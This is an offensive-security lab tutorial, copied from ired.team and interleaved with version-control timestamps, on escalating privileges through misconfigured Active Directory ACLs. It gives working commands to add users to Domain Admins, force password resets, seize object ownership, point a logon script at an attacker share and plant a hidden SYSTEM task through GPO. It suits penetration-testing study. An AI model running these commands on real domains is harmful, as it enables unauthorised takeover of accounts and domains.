2020-07-15 15:43:14 +00:00
# Abusing Active Directory ACLs/ACEs
2021-11-30 16:46:07 +00:00
**This information was copied from** [**https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces ) **because it's just perfect**
2020-07-15 15:43:14 +00:00
## Context
2021-10-18 11:21:18 +00:00
This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
2020-07-15 15:43:14 +00:00
2022-04-05 22:24:52 +00:00
Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
2020-07-15 15:43:14 +00:00
An example of ACEs for the "Domain Admins" securable object can be seen here:
2022-04-06 16:21:07 +00:00
2020-07-15 15:43:14 +00:00
Some of the Active Directory object permissions and types that we as attackers are interested in:
2021-10-18 11:21:18 +00:00
* **GenericAll** - full rights to the object (add users to a group or reset user's password)
* **GenericWrite** - update object's attributes (i.e logon script)
2020-07-15 15:43:14 +00:00
* **WriteOwner** - change object owner to attacker controlled user take over the object
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
* **AllExtendedRights** - ability to add user to a group or reset password
* **ForceChangePassword** - ability to change user's password
2021-10-18 11:21:18 +00:00
* **Self (Self-Membership)** - ability to add yourself to a group
2020-07-15 15:43:14 +00:00
In this lab, we are going to explore and try to exploit most of the above ACEs.
## GenericAll on User
Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate` :
```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
```
We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:
We can reset user's `delegate` password without knowing the current password:
## GenericAll on Group
Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName` :
```csharp
Get-NetGroup "domain admins" -FullData
```
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
```
We can see that our attacking user `spotless` has `GenericAll` rights once again:
2021-10-18 11:21:18 +00:00
Effectively, this allows us to add ourselves (the user `spotless` ) to the `Domain Admin` group:
2020-07-15 15:43:14 +00:00
```csharp
net group "domain admins" spotless /add /domain
```
Same could be achieved with Active Directory or PowerSploit module:
```csharp
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## GenericAll / GenericWrite / Write on Computer
If you have these privileges on a Computer object, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over ](resource-based-constrained-delegation.md ) off.
## WriteProperty on Group
If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:
We can again add ourselves to the `Domain Admins` group and escalate privileges:
```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
2021-10-18 11:21:18 +00:00
## Self (Self-Membership) on Group
2020-07-15 15:43:14 +00:00
Another privilege that enables the attacker adding themselves to a group:
```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
2021-10-18 11:21:18 +00:00
## WriteProperty (Self-Membership)
2020-07-15 15:43:14 +00:00
One more privilege that enables the attacker adding themselves to a group:
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```
```csharp
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:
```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
Doing the same with powerview:
```csharp
Set-DomainUserPassword -Identity delegate -Verbose
```
Another method that does not require fiddling with password-secure-string conversion:
```csharp
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
```
...or a one liner if no interactive session is not available:
```csharp
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
2020-11-28 16:20:05 +00:00
and one last way yo achieve this from linux:
```markup
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
More info:
* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/ ](https://malicious.link/post/2017/reset-ad-user-password-with-linux/ )
2021-11-30 16:46:07 +00:00
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN ](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN )
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c ](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c )
2020-11-28 16:20:05 +00:00
2020-07-15 15:43:14 +00:00
## WriteOwner on Group
Note how before the attack the owner of `Domain Admins` is `Domain Admins` :
After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```
...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless` . Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:
```csharp
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
2020-07-27 17:54:30 +00:00
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
2020-07-15 15:43:14 +00:00
```
## GenericWrite on User
```csharp
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
`WriteProperty` on an `ObjectType` , which in this particular case is `Script-Path` , allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:
```csharp
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:
## WriteDACL + WriteOwner
If you are the owner of a group, like I'm the owner of a `Test` AD group:
Which you can of course do through powershell:
```csharp
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
```
And you have a `WriteDACL` on that AD object:
2022-04-06 08:57:29 +00:00
...you can give yourself [`GenericAll` ](broken-reference/ ) privileges with a sprinkle of ADSI sorcery:
2020-07-15 15:43:14 +00:00
```csharp
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
Which means you now fully control the AD object:
This effectively means that you can now add new users to the group.
Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:
```csharp
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
```
2021-10-18 11:21:18 +00:00
## **Replication on the domain (DCSync)**
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes** , **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set** .\
2022-04-05 22:24:52 +00:00
[**Learn more about the DCSync attack here.** ](dcsync.md )
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
2020-07-15 15:43:14 +00:00
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:
We can see this by leveraging PowerView like so:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
The below indicates that the user `offense\spotless` has **WriteProperty** , **WriteDacl** , **WriteOwner** privileges among a couple of others that are ripe for abuse:
2022-04-05 22:24:52 +00:00
[**More about general AD ACL/ACE abuse here.** ](acl-persistence-abuse.md )
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
### Abusing the GPO Permissions <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a>
2020-07-15 15:43:14 +00:00
We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
```bash
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
2021-11-30 16:46:07 +00:00
#### Computers with a Given Policy Applied <a href="#computers-with-a-given-policy-applied" id="computers-with-a-given-policy-applied"></a>
2020-07-15 15:43:14 +00:00
We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
2021-11-30 16:46:07 +00:00
#### Policies Applied to a Given Computer <a href="#policies-applied-to-a-given-computer" id="policies-applied-to-a-given-computer"></a>
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
```
2021-10-18 11:21:18 +00:00
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
#### OUs with a Given Policy Applied <a href="#ous-with-a-given-policy-applied" id="ous-with-a-given-policy-applied"></a>
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
```
2021-10-18 11:21:18 +00:00
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
#### Abusing Weak GPO Permissions <a href="#abusing-weak-gpo-permissions" id="abusing-weak-gpo-permissions"></a>
2020-07-15 15:43:14 +00:00
One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless` :
2021-11-30 16:46:07 +00:00
### Force Policy Update <a href="#force-policy-update" id="force-policy-update"></a>
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group:
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
### Under the hood <a href="#under-the-hood" id="under-the-hood"></a>
2020-07-15 15:43:14 +00:00
If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:
Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:
2022-04-06 08:57:29 +00:00
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
2020-07-15 15:43:14 +00:00
```markup
<?xml version="1.0" encoding="utf-8"?>
< ScheduledTasks clsid = "{CC63F200-7309-4ba0-B154-A71CD118DBCC}" >
< ImmediateTaskV2 clsid = "{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name = "evilTask" image = "0" changed = "2018-11-20 13:43:43" uid = "{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext = "0" removePolicy = "0" >
< Properties action = "C" name = "evilTask" runAs = "NT AUTHORITY \System" logonType = "S4U" >
< Task version = "1.3" >
< RegistrationInfo >
< Author > NT AUTHORITY\System</ Author >
< Description > < / Description >
< / RegistrationInfo >
< Principals >
< Principal id = "Author" >
< UserId > NT AUTHORITY\System</ UserId >
< RunLevel > HighestAvailable< / RunLevel >
< LogonType > S4U< / LogonType >
< / Principal >
< / Principals >
< Settings >
< IdleSettings >
< Duration > PT10M< / Duration >
< WaitTimeout > PT1H< / WaitTimeout >
< StopOnIdleEnd > true< / StopOnIdleEnd >
< RestartOnIdle > false< / RestartOnIdle >
< / IdleSettings >
< MultipleInstancesPolicy > IgnoreNew< / MultipleInstancesPolicy >
< DisallowStartIfOnBatteries > false< / DisallowStartIfOnBatteries >
< StopIfGoingOnBatteries > true< / StopIfGoingOnBatteries >
< AllowHardTerminate > false< / AllowHardTerminate >
< StartWhenAvailable > true< / StartWhenAvailable >
< AllowStartOnDemand > false< / AllowStartOnDemand >
< Enabled > true< / Enabled >
< Hidden > true< / Hidden >
< ExecutionTimeLimit > PT0S< / ExecutionTimeLimit >
< Priority > 7< / Priority >
< DeleteExpiredTaskAfter > PT0S< / DeleteExpiredTaskAfter >
< RestartOnFailure >
< Interval > PT15M< / Interval >
< Count > 3< / Count >
< / RestartOnFailure >
< / Settings >
< Actions Context = "Author" >
< Exec >
< Command > cmd< / Command >
< Arguments > /c net localgroup administrators spotless /add< / Arguments >
< / Exec >
< / Actions >
< Triggers >
< TimeTrigger >
< StartBoundary > %LocalTimeXmlEx%< / StartBoundary >
< EndBoundary > %LocalTimeXmlEx%< / EndBoundary >
< Enabled > true< / Enabled >
< / TimeTrigger >
< / Triggers >
< / Task >
< / Properties >
< / ImmediateTaskV2 >
< / ScheduledTasks >
```
{% endcode %}
2021-11-30 16:46:07 +00:00
### Users and Groups <a href="#users-and-groups" id="users-and-groups"></a>
2020-07-15 15:43:14 +00:00
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless` :
2022-04-06 08:57:29 +00:00
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
2020-07-15 15:43:14 +00:00
```markup
<?xml version="1.0" encoding="utf-8"?>
< Groups clsid = "{3125E937-EB16-4b4c-9934-544FC6D24D26}" >
< Group clsid = "{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name = "Administrators (built-in)" image = "2" changed = "2018-12-20 14:08:39" uid = "{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}" >
< Properties action = "U" newName = "" description = "" deleteAllUsers = "0" deleteAllGroups = "0" removeAccounts = "0" groupSid = "S-1-5-32-544" groupName = "Administrators (built-in)" >
< Members >
< Member name = "spotless" action = "ADD" sid = "" / >
< / Members >
< / Properties >
< / Group >
< / Groups >
```
{% endcode %}
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
## References
{% embed url="https://wald0.com/?p=112" %}
{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2" %}
{% embed url="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" %}
{% embed url="https://adsecurity.org/?p=3658" %}
2021-10-18 11:21:18 +00:00
{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_" %}
